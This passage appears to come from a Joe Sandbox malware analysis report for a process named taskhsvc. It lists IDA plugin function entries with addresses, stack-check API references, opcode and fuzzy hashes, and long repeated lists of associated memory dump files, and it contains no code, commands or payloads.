                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 646538096-0
                                                                                                                          • Opcode ID: c09adec2d3127763bd65d2980ec8f314e80b12bb5416564f09e528f0fc547863
                                                                                                                          • Instruction ID: 8cc532302bc7e10c56274d4b299ddeed43516d83f918ddd0688877cc4dc89ce6
                                                                                                                          • Opcode Fuzzy Hash: c09adec2d3127763bd65d2980ec8f314e80b12bb5416564f09e528f0fc547863
                                                                                                                          • Instruction Fuzzy Hash: F201A474D006199FCF00DFA9C485AAEBBF1BF48300F00881AE864A7354E334A941CF55
                                                                                                                          Function 00D36761 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D4587B: __stack_chk_fail.LIBSSP-0 ref: 00D459BE
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D367E8
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4216919130-0
                                                                                                                          • Opcode ID: 62d0ba5c50847aa6aa3d48cf78c41f4653afc8ce41b9b3f5d90207a007262268
                                                                                                                          • Instruction ID: 02445bdfca74b7a0630e3eb833628b28abf91a301b559482c522e2d50702b8c4
                                                                                                                          • Opcode Fuzzy Hash: 62d0ba5c50847aa6aa3d48cf78c41f4653afc8ce41b9b3f5d90207a007262268
                                                                                                                          • Instruction Fuzzy Hash: D8F0B2B4A00608AFDF40EFA9D88188DB7F1FB48304F418915E848E7304E738E8028FA1
                                                                                                                          Function 00BE5FA6 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                            • Part of subcall function 00BE7086: __stack_chk_fail.LIBSSP-0 ref: 00BE7211
                                                                                                                            • Part of subcall function 00C781BD: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00BE6001), ref: 00C781E5
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BE63EC
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4216919130-0
                                                                                                                          • Opcode ID: 3dee4b073024e33dcb856ccad6783374bbe3988ff30e2722d492d127b0863902
                                                                                                                          • Instruction ID: 4cfdc268e50a7c4240f0b653f271b367cd1fe4d45b905685e9cfda546b4860d6
                                                                                                                          • Opcode Fuzzy Hash: 3dee4b073024e33dcb856ccad6783374bbe3988ff30e2722d492d127b0863902
                                                                                                                          • Instruction Fuzzy Hash: 56F03A70108351DAD700BF62D54A22EBBE0EF90398F01D89DB5D95A292CBB9D484DB67
                                                                                                                          Function 00C519D3 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C51A21
                                                                                                                            • Part of subcall function 00D38B88: abort.MSVCRT ref: 00D38BEE
                                                                                                                            • Part of subcall function 00D38B88: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C519FB), ref: 00D38C4C
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 646538096-0
                                                                                                                          • Opcode ID: 2a8b1830f2f2d4a6912ab0795c552501df2e2d929b9ed7a9067302ac87145ce6
                                                                                                                          • Instruction ID: f157e856b1e6d67e87e0d32eb54857eaa0118654f5c52b5b71556ceca1b24ff6
                                                                                                                          • Opcode Fuzzy Hash: 2a8b1830f2f2d4a6912ab0795c552501df2e2d929b9ed7a9067302ac87145ce6
                                                                                                                          • Instruction Fuzzy Hash: 3BF0D478E052098FCB40DFA9C885BAEB7F1AB48311F058561EC28E7200D774AD81DF94
                                                                                                                          Function 00C94D6E Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00CE2958), ref: 00C94DB6
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
